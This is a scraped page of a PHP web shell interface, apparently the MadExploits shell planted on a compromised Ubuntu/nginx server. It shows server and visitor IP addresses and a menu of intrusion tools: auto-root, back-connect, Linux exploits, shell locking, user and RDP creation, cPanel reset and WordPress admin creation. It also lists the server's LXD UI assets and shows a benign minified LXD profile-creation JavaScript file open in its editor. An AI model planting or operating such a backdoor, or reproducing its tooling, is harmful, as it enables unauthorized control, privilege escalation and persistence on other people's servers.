Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
snap /
lxd /
31333 /
share /
lxd-ui /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
AutoExpandingTextArea-3a779a81...
352
B
-rw-r--r--
CancelOperationBtn-5e4a9f41.js
1.42
KB
-rw-r--r--
CertificateAdd-5762bbdd.js
2.37
KB
-rw-r--r--
CertificateGenerate-67a1d99d.j...
9.58
KB
-rw-r--r--
ClusterGroupForm-f258bb5e.js
3.07
KB
-rw-r--r--
ClusterList-13b65a6c.js
4.72
KB
-rw-r--r--
ConfigFieldDescription-00c1a19...
3.5
KB
-rw-r--r--
ConfigurationTable-1a9d4d6f.js
2.16
KB
-rw-r--r--
CreateClusterGroup-3b03283b.js
329
B
-rw-r--r--
CreateInstance-2dc2e316.js
15.55
KB
-rw-r--r--
CreateNetwork-9059effd.js
2.24
KB
-rw-r--r--
CreateProfile-fa64def5.js
3.28
KB
-rw-r--r--
CreateProject-3768bb7f.js
1.9
KB
-rw-r--r--
CreateStoragePool-e2d089cb.js
1.77
KB
-rw-r--r--
DiskSizeSelector-dd5e138a.js
1.8
KB
-rw-r--r--
EditClusterGroup-08d77b61.js
622
B
-rw-r--r--
FormMenuItem-c8a1a121.js
504
B
-rw-r--r--
Images-40cc8e59.js
4.37
KB
-rw-r--r--
InstanceDetail-ee6a9c3e.js
485.63
KB
-rw-r--r--
InstanceFormMenu-dff7cf6c.js
1.67
KB
-rw-r--r--
InstanceList-23508fa8.js
15.61
KB
-rw-r--r--
Login-a15594e3.js
1.47
KB
-rw-r--r--
NetworkDetail-c85f81d1.js
10.11
KB
-rw-r--r--
NetworkDevicesForm-bcf4be77.js
28.21
KB
-rw-r--r--
NetworkForm-ffe61c80.js
10.83
KB
-rw-r--r--
NetworkList-45862bf6.js
2.87
KB
-rw-r--r--
NetworkMap-30a0e19e.js
384.37
KB
-rw-r--r--
OperationList-b576a26c.js
3.03
KB
-rw-r--r--
ProfileDetail-1a7135fe.js
9.74
KB
-rw-r--r--
ProfileDetailsForm-809e7c02.js
856
B
-rw-r--r--
ProfileFormMenu-3458e77a.js
1.51
KB
-rw-r--r--
ProfileList-3777bd96.js
3.32
KB
-rw-r--r--
ProfileSelector-b579b8c7.js
1.73
KB
-rw-r--r--
ProjectConfiguration-e5324f11....
7.05
KB
-rw-r--r--
ProjectForm-55619b78.js
14.06
KB
-rw-r--r--
ProtectedRoute-49eddddb.js
209
B
-rw-r--r--
RenameHeader-c74d9adb.js
1.6
KB
-rw-r--r--
SelectableMainTable-5a3f3fef.j...
1.48
KB
-rw-r--r--
Settings-2fc8ab81.js
5.98
KB
-rw-r--r--
StoragePoolDetail-5cad7e82.js
5.53
KB
-rw-r--r--
StorageUsedBy-2e98cb1b.js
2.16
KB
-rw-r--r--
StorageVolumeCreate-76138e07.j...
1.75
KB
-rw-r--r--
StorageVolumeDetail-513f1051.j...
6.76
KB
-rw-r--r--
StorageVolumeForm-228515f8.js
9.63
KB
-rw-r--r--
StorageVolumeFormMenu-e90b9f5c...
1.35
KB
-rw-r--r--
WarningList-74e9b259.js
1.85
KB
-rw-r--r--
certificate-3aff5cf1.js
277.18
KB
-rw-r--r--
clusterGroups-3fc1789d.js
3.32
KB
-rw-r--r--
formFields-fc140429.js
4.61
KB
-rw-r--r--
images-2ea813f2.js
702
B
-rw-r--r--
index-13b2882d.js
586.8
KB
-rw-r--r--
index-205b9caf.css
481.62
KB
-rw-r--r--
index.esm-82c30f37.js
69.08
KB
-rw-r--r--
instanceConfigInheritance-fbf9...
1.38
KB
-rw-r--r--
instanceDelete-e714bd59.js
1.52
KB
-rw-r--r--
instanceEdit-cf20bafe.js
5.29
KB
-rw-r--r--
instanceValidation-26160179.cs...
50.83
KB
-rw-r--r--
instanceValidation-45cfba9a.js
2.09
MB
-rw-r--r--
networks-5caac489.js
1.71
KB
-rw-r--r--
operations-beb03b33.js
433
B
-rw-r--r--
settings-c23f9009.js
183
B
-rw-r--r--
updateMaxHeight-325b3cd4.js
861
B
-rw-r--r--
useClusterMembers-dbf45674.js
3.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CreateProfile-fa64def5.js
import{e as F,d as o,m as E,i as I,r as n,j as e,z as D,A as O,B as R,b as k,J as L,q as f}from"./index-13b2882d.js";import{c as A,a as M,u as T}from"./index.esm-82c30f37.js";import{S as w,u as Y}from"./updateMaxHeight-325b3cd4.js";import{Y as q,h as B,a as _,y as V,d as K}from"./instanceValidation-45cfba9a.js";import{D as U,N as $,R as z,S as H,a as Q,C as G,f as J,b as W,s as X,c as Z,d as ee}from"./NetworkDevicesForm-bcf4be77.js";import{M as p,P as se,D as te,N as ie,R as ae,S as oe,a as re,C as ne,Y as y}from"./ProfileFormMenu-3458e77a.js";import{P as le,p as ce}from"./ProfileDetailsForm-809e7c02.js";import"./instanceConfigInheritance-fbf987f8.js";import"./formFields-fc140429.js";import"./ConfigurationTable-1a9d4d6f.js";import"./ConfigFieldDescription-00c1a193.js";import"./StorageVolumeForm-228515f8.js";import"./StorageVolumeFormMenu-e90b9f5c.js";import"./FormMenuItem-c8a1a121.js";import"./DiskSizeSelector-dd5e138a.js";import"./networks-5caac489.js";import"./AutoExpandingTextArea-3a779a81.js";const Ee=()=>{var u;const l=F(),r=o.useNotify(),{project:a}=E(),c=I(),h=n.useState(null),[i,S]=n.useState(p),[j,x]=n.useState(!1);if(!a)return e.jsx(e.Fragment,{children:"Missing project"});const C=A().shape({name:M().test("deduplicate","A profile with this name already exists",s=>D(s,a,h,"profiles")).required()}),m=()=>{Y("form-contents","p-bottom-controls")};n.useEffect(m,[(u=r.notification)==null?void 0:u.message,i]),O("resize",m);const t=T({initialValues:{name:"",devices:[],readOnly:!1,type:"profile"},validationSchema:C,onSubmit:s=>{const b=s.yaml?V(s.yaml):d(s);L(JSON.stringify(b),a).then(()=>{l(`/ui/project/${a}/profiles`,r.queue(r.success(`Profile ${s.name} created.`)))}).catch(v=>{t.setSubmitting(!1),r.failure("Profile creation failed",v)}).finally(()=>{c.invalidateQueries({queryKey:[f.profiles]}),c.invalidateQueries({queryKey:[f.projects,a]})})}}),d=s=>({...ce(s),devices:J(s.devices),config:{...W(s),...X(s),...Z(s),...ee(s)}}),g=s=>{t.values.yaml&&s!==y&&t.setFieldValue("yaml",void 0),S(s)},N=()=>{x(s=>!s)};function P(){const s=d(t.values);return K(s)}return e.jsxs(R,{title:"Create a profile",contentClassName:"create-profile",children:[e.jsxs(o.Form,{onSubmit:t.handleSubmit,stacked:!0,className:"form",children:[e.jsx(se,{active:i,setActive:g,isConfigOpen:j,toggleConfigOpen:N,hasName:!!t.values.name,formik:t}),e.jsx(o.Row,{className:"form-contents",children:e.jsxs(o.Col,{size:12,children:[e.jsx(k,{}),i===p&&e.jsx(le,{formik:t,isEdit:!1}),i===te&&e.jsx(U,{formik:t,project:a}),i===ie&&e.jsx($,{formik:t,project:a}),i===ae&&e.jsx(z,{formik:t}),i===oe&&e.jsx(H,{formik:t}),i===re&&e.jsx(Q,{formik:t}),i===ne&&e.jsx(G,{formik:t}),i===y&&e.jsx(q,{yaml:P(),setYaml:s=>void t.setFieldValue("yaml",s),children:e.jsx(o.Notification,{severity:"caution",title:"Before you edit the YAML",children:"Changes will be discarded, when switching back to the guided forms."})})]})},i)]}),e.jsxs("div",{className:"p-bottom-controls",id:"form-footer",children:[e.jsx("hr",{}),e.jsx(o.Row,{className:"u-align--right",children:e.jsxs(o.Col,{size:12,children:[e.jsx(o.Button,{appearance:"base",onClick:()=>l(`/ui/project/${a}/profiles`),children:"Cancel"}),e.jsx(w,{isSubmitting:t.isSubmitting,isDisabled:!t.isValid||!t.values.name||B(t)||_(t),buttonLabel:"Create",onClick:()=>void t.submitForm()})]})})]})]})};export{Ee as default};
Close